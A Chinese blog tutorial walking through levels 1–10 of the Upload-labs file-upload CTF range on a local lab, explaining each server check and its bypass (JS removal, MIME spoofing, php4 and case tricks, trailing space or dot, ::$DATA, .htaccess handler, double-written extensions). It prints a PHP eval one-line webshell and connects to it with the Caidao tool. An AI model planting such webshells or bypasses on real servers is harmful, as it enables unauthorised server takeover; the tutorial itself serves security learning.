前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[网络安全] 十五.文件上传漏洞 (4)Upload-labs靶场及CTF题目01-10

[网络安全] 十五.文件上传漏洞 (4)Upload-labs靶场及CTF题目01-10

作者头像
Eastmount
发布2021-12-02 19:49:51
2.6K0
发布2021-12-02 19:49:51
举报

文章目录:

  • 一.Upload-labs靶场漏洞 1.Upload-labs靶场介绍 2.Windows环境快速搭建
  • 二.文件上传漏洞CTF之01-05关 Pass-01 Pass-02 Pass-03 Pass-04 Pass-05
  • 三.文件上传漏洞CTF之06-10关 Pass-06 Pass-07 Pass-08 Pass-09 Pass-10

一.Upload-labs靶场漏洞

1.Upload-labs靶场介绍

先来看看,这是Upload-labs靶场的20道CTF文件上传题目。虽然它只是一些题目,但其漏洞原理和利用过程仍值得我们学习。

Upload-labs是一个使用php语言编写,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场,旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含不同的上传方式。

项目地址:

  • https://github.com/c0ny1/upload-labs

运行环境:

  • 操作系统:windows、Linux
  • php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
  • php组件:php_gd2、php_exif(部分Pass需要开启这两个组件)

文件上传漏洞的思维导图如下所示,详细覆盖了我们前面三篇文章的各种方法。

其中,服务端监测内容如下所示:


2.Windows环境快速搭建

本项目提供了一个Windows环境下的集成环境,集成环境绿色免安装,解压即可使用。下载地址如下:

  • https://github.com/c0ny1/upload-labs/releases

第一步,从Github上下载环境和题目压缩包。

第二步,解压“upload-labs-env-win-0.1.7z”如下图所示。第一次运行或者每次改变靶机环境的目录时,都要运行一下modify_path.bat文件之后,再运行phpStudy.exe启动环境。

第三步,双击“modify_path.bat”文件运行如下图所示。modify_path.bat作用在于修改phpStudy.ini、httpd.conf、php.ini三个配置文件中的路径为最新的路径。

第四步,接着运行phpStudy.exe文件。

第五步,然后可以看到“WWW”文件夹中包括了20道题目,如下图所示。

第六步,启动phpStudy,然后访问地址 http://127.0.0.1/Pass-01/index.php,这样我们的靶场就成功安装好了。

同样,我们可以查看隐藏代码,点击右上角“显示源码”按钮。

也可以查看每道题目对应的提示,比如第一题的提示显示如下图所示。


二.文件上传漏洞01-05关

Pass-01

第一道题目查看提示,显示这是一个JS本地文件验证的关卡。

解决方法: 需要删除 onsubmit=“return checkFile()” 函数,再进行上传。

如果直接上传包含一句话木马的“test.php”文件,则会提示如下图所示的错误。

代码语言:javascript
复制
<?php eval($_POST[eastmount]); ?>

这里我们安装“OWASP Mantra Janus”渗透测试专用浏览器,打开靶场如下图所示。

OWASP Mantra 是由 Mantra 团队开发,面向渗透测试人员、Web 开发人员和安全专业人员的安全工具套件 (基于浏览器, 目前是 Chromium 和 Firefox ),包括扩展程序和脚本集合。

第一步,使用OWASP Mantra Janus浏览器打开,右键点击“使用Firebug查看元素”。

第二步,找到对应代码并删除 onsubmit = “return checkFile()”。

此时成功上传,如下图所示。

服务器的文件夹也能看到该文件。

当然作为渗透人员,此时我们是看不到目标网站的文件目录。我们可以尝试复制图像地址,如下图所示:

第三步,直接用浏览器打开该链接 http://127.0.0.1/upload/ test.php,如下图所示,显示空白,但表示其上传成功。

第四步,打开菜刀,添加地址和密码“eastmount”。

可以获取文件目录,如下图所示。

讲到这里,第一道题目就讲解完毕,主要是如何绕过JS验证。


Pass-02

第二道题目通过查看提示,发现是MIME文件绕过。

解决方案: MIME绕过文件上传,尝试对Content-Type进行修改,核心思想是将上传的PHP文件Content-Type修改为“image/jpeg”。

对应的检查代码如下所示:

代码语言:javascript
复制
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || 
        ($_FILES['upload_file']['type'] == 'image/png') || 
        ($_FILES['upload_file']['type'] == 'image/gif')) 
        {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

接下来我们使用BurpSuite进行数据包拦截及修改。

第一步,配置浏览器代理。 新建代理:右上角图标"new tab"–>“tools”–>“poxy”–>“Foxyproxy standard”–>“options”–>“add new poxy”–>“确定”。

然后设置为本地代理“127.0.0.1”,端口号为“8080”。

第二步,打开BurpSuite并设置Proxy,同样为“127.0.0.1:8080”。

第三步,上传包含一句话木马的图片“mm1.jpg”,如下图所示。

第四步,通过BurpSuite抓包获取相关信息。

可以看到里面包含了PHP一句话木马的代码。

第五步,将“mm1.jpg”后缀修改为“mm1.php”,点击“Forward”按钮。

第六步,成功上传了该“mm1.php”文件如下图所示,接着复制图像地址。

第七步,将复制的地址用浏览器打开,http://127.0.0.1/ upload/ mm1.php。

上传成功之后,通过Caidao软件可以获取目标服务器的文件目录。


Pass-03

查看提示是“禁止上传 .asp|.aspx|.php|”。

查看源代码发现过滤了点、大小写、空格、data,这里尝试php345绕过,也可用Apache解析漏洞。

PHP345文件绕过上传 PHP3代表PHP版本3,用于文件绕过检测。一般的软件都是向下兼容,PHP3代码,PHP5同样兼容能够执行。所以会将包含一句话木马的“fox.php”文件修改为“fox.php5”文件,从而正常上传。

Apache解析漏洞 Apache是从右到左判断解析,如果为不可识别解析,就再往左判断。比如1.php.xxx对Apache来说xxx是不可解析的,所以就会解析成1.php,这就是该漏洞的实现原理。

第一步,如果直接上传“test.php”文件,则会提示如下错误:

第二步,将文件名“test.php”修改为“test.php4”,发现成功上传。

第三步,接下来复制图片地址并进行访问。

  • http://127.0.0.1/ upload/ 201912161548204885.php4

第四步,利用Caidao工具获取服务器目录。


Pass-04

查看提示是禁止php345上传和大小写漏洞。

如果继续上传“test.php4”文件,会提示错误。

解决方案: 这里我们利用“.htaccess”文件绕过上传。

.htaccess文件或者“分布式配置文件”提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。

简单来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。

这里我们需要用到的是改变文件扩展名,新建一个“.htaccess”文件,代码如下:

代码语言:javascript
复制
<FilesMatch "eastmount">
SetHandler application/x-httpd-php
</FilesMatch>

这里是把fox名字的文件全都以php来运行,需要特殊文件进行创建,如Notepad++。

首先上传这个“.htaccess”文件。

再上传一个“eastmount.jpg”文件,它会将这张图片以php来解析。

复制图片地址,然后用浏览器打开,显示如下图所示,它是以php格式解析的,而不显示成一张jpg图片。之前上传的“mm1.jpg”是以图片方式打开。

eastmount.jpg

mm1.jpg

接着打开中国菜刀,获取了该服务器目录。


Pass-05

查看提示禁止了“.htaccess”文件绕过。

查看源代码,发现它少了大小写转换代码。

代码语言:javascript
复制
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",
        ".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",
        ".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",
        ".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",
        ".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",
        ".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",
        ".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

解决方案: 使用大小写绕过方法。 虽然提示中禁止了“.pHp”中间大写,但没有禁止末位的大写,所以这里使用“.phP”。注意,好的防御代码会获取后缀名并全部转换为小写,再定义黑白名单进行校验。

首先,上传“test1.phP”文件。

发现文件成功上传。

接着复制图像地址打开如下图所示,它包含了一句话木马“<?php eval( $_POST[eastmount]); ?>”,最后使用Caidao工具即可获取服务器文件目录。


三.文件上传漏洞06-10关

Pass-06

第6关的提示信息如下所示:

查看源代码,发现首位去空的代码没有了,这里尝试加空格。

代码语言:javascript
复制
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",
        ".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",
        ".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",
        ".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",
        ".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",
        ".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",
        ".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

尝试上传包含一句话木马的图片文件“mm2.jpg”。

如果通过BurpSuite抓包,直接将“mm2.jpg”修改后缀为“mm2.php”,则会提示如下错误。

这里需要增加空格,即“mm2.php ”,BurpSuite修改如下图所示。

点击“Forward”按钮,此时成功上传。

接着复制图片地址并打开,最后连接Caidao工具即可。


Pass-07

提示信息为“禁止上传所有可以解析的后缀”。

查看源代码,发现这句代码不在了。

代码语言:javascript
复制
$file_name = deldot($file_name); //删除文件名末尾的点

接着上传一张图片“mm2.jpg”,通过BurpSuite抓包,我们将文件名“mm2.jpg”修改为“mm3.jpg.”,如下图所示。

成功上传之后如下图所示。

我们复制图片地址(http://127.0.0.1/ upload/ mm3.php.)并用浏览器打开。

接着采用Caidao连接。

成功获取服务器的文件目录。


Pass-08

查看提示还是常规的方法绕过。

查看源代码发现去除“::DATA”文件的语句没有了,这里尝试加入“::DATA”。

::DATA绕过只能用于Windows,简单来说,就是在数据后面加上::DATA实现绕过,fox.php::

代码语言:javascript
复制
file_ext = str_ireplace('::DATA', '', file_ext); //去除字符串::DATA

上传一个“mm2.jpg”图片,然后通过BurpSuite抓包修改为“mm8.php::$DATA”。

上传成功之后如下图所示:

复制图片地址http://127.0.0.1/ upload/ 201912161714288617 .php::data,并删除后面的“::data”进行访问。

打开Caidao工具并尝试连接。

成功获取目标的文件夹目录,如下图所示:


Pass-09

查看提示发现该关值允许上传图片后缀的文件。

查看源代码,发现15行文件不一样,路径拼接的是处理后的文件名,于是构造“fox.php. .”(点+空格+点),尝试进行绕过。

上传一张“mm2.jpg”的图片,尝试修改为“mm2.php. .”进行绕过。

上传成功之后,复制图片地址(http://127.0.0.1/ upload/ mm2.php.)并访问。注意,“mm2.php.”后面没有点也能成功访问,这都是Windows的一些特性。


Pass-10

查看提示发现应该是过滤后缀。

查看源代码,这里是将问题后缀名替换为空,也就是“php.php”会变成“php.”,但是这里只过滤一次。查看第8行代码,发现它把文件后缀名替换为空。

这里注意写法,“phphpp”、“pphphp”上传比较。

第一步,尝试上传一个文件“php123.phphpp”。

第二步,上传成功,复制图像地址并打开。

第三步,此时图片的地址变为“http://127.0.0.1/ upload/ 123.hpp”,访问如下图所示。

第四步,“php123.phphpp”变成了“123.hpp”,它把后缀“php”过滤了,剩一个“hpp”。如果我们的后缀设置为“pphphp”,然后再进行拼接上传。

上传成功之后的地址为“http://127.0.0.1/upload/123.php”。

最后再调用Caidao工具即可获取目录。


本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 娜璋AI安全之家 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一.Upload-labs靶场漏洞
    • 1.Upload-labs靶场介绍
      • 2.Windows环境快速搭建
      • 二.文件上传漏洞01-05关
        • Pass-01
          • Pass-02
            • Pass-03
              • Pass-04
                • Pass-05
                • 三.文件上传漏洞06-10关
                  • Pass-06
                    • Pass-07
                      • Pass-08
                        • Pass-09
                          • Pass-10
                          相关产品与服务
                          网站渗透测试
                          网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                          领券
                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档